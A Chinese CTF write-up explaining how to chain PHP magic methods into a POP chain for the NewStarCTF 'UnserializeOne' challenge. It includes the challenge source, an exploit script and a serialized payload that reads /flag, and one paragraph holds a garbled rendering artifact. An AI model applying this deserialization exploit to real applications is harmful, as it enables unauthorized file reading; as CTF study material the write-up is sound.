php反序列化之pop链的构造
想复习一下之前学习的构造pop链,于是我自己摘抄了一个题目:UnserializeOne的源码, 来复习一下这个知识点
题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start
{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, " . $this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec
{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy
{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0]; //这个类中,是var会触发__clone方法,var被克隆了
}
}
class eeee
{
public $obj;
public function __clone()
{
if (isset($this->obj->cmd)) {
echo "success";
}
}
}
if (isset($_GET['pop'])) {
unserialize($_GET['pop']);
}
?>
这一道题涉及到很多的魔术方法,例如:
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
由源码可知,我们的最终目标调用Sec类中的:__invoke()函数中的 echo file_get_contents(‘/flag’);这个语句,____invoke()又是一个魔术方法,有特定的触发条件,所以我们可以由最终目标反推出有一个魔术方法构成的pop链:
反推pop链思路
file_get_contents() —>
1…在Sec类的__invoke()方法里调用 —>
2.Start类里的__issett
(方法里的this->func()
可以触发____invoke() —>
3.eeee类里的__clone
方法里的if (isset($this->obj->cmd))
可以触发__isset()
, —>
4.Easy 类的call()方法里的$this—>cla=clone $var [0]
可以触发__clone
—>
5.Sec类的toString()方法里的$this->obj->check($this->var)
(check是未定义方法)可以触发__call()
—>
6.Start 类的__destruct方法里的"echo "Welcome to NewStarCTF, " . $this->name;"可以触发toString()—>
7.__destruct可以理解为"自动触发",所以我们直接生成Start类即可
思考时是反推,但我们写exp时就要正推,同时各个类的变量属性我们可以改成public的(对于php版本7.1+,像我本地的7.3.4,反序列化对象的某个属性时,即使这个属性是private或protected,遇到的是公有属性序列化字符串,也会成功反序列化),方便些
正推exp
<?php
error_reporting(0);
//highlight_file(__FILE__);
class Start
{
public $name;
public $func;
}
class Sec
{
public $obj;
public $var;
}
class Easy
{
public $cla;
}
class eeee
{
public $obj;
}
$a=new Start();//7.
$a->name=new Sec();//6
$a->name->obj=new Easy();//5
$a->name->var=new eeee();//4
$a->name->var->obj=new Start();//3
$a->name->var->obj->func=new Sec();//21
echo serialize($a);
小易错点
这里有一个小易错点,就是4:为什么是$a->name->var=new eeee(); 而不是 $a->name->obj->cla = new eeee()
一开始我在里卡了好久,后面想明白了,
public function __call($fun, $var) //class Easy
{
$this->cla = clone $var[0]; //这个类中,是var会触发__clone方法,var被克隆了
}
public function __toString() //class Sec
{
$this->obj->check($this->var);
return "CTFers";
}
在这里是 v a r 被克隆,然后赋值给 t h i s − > c l a ,所以如果 var 被克隆,然后赋值给this->cla,所以如果 var被克隆,然后赋值给this−>cla,所以如果var是一个对象,就会触发__clone方法,那为什么是clone $var [0]?
因为在toString方法里调用了未定义方法check,从而触发__call,在PHP中,如果一个对象的类定义了__call
方法,而调用该对象的方法不存在时,就会触发__call
方法。在这种情况下,传递给__call方法的参数将包含方法名(原来未定义的方法的名字)和参数数组,所以clone
$var [0]
就是克隆我们之前传入的Sec类里的变量$var
即
public function __call($fun, $var)
{
//$fun='check',$var=[ Sec->var]
$this->cla = clone $var[0]; //这个类中,是var会触发__clone方法,var被克隆了
}
exp运行结果:
构造payload
/?pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
结果: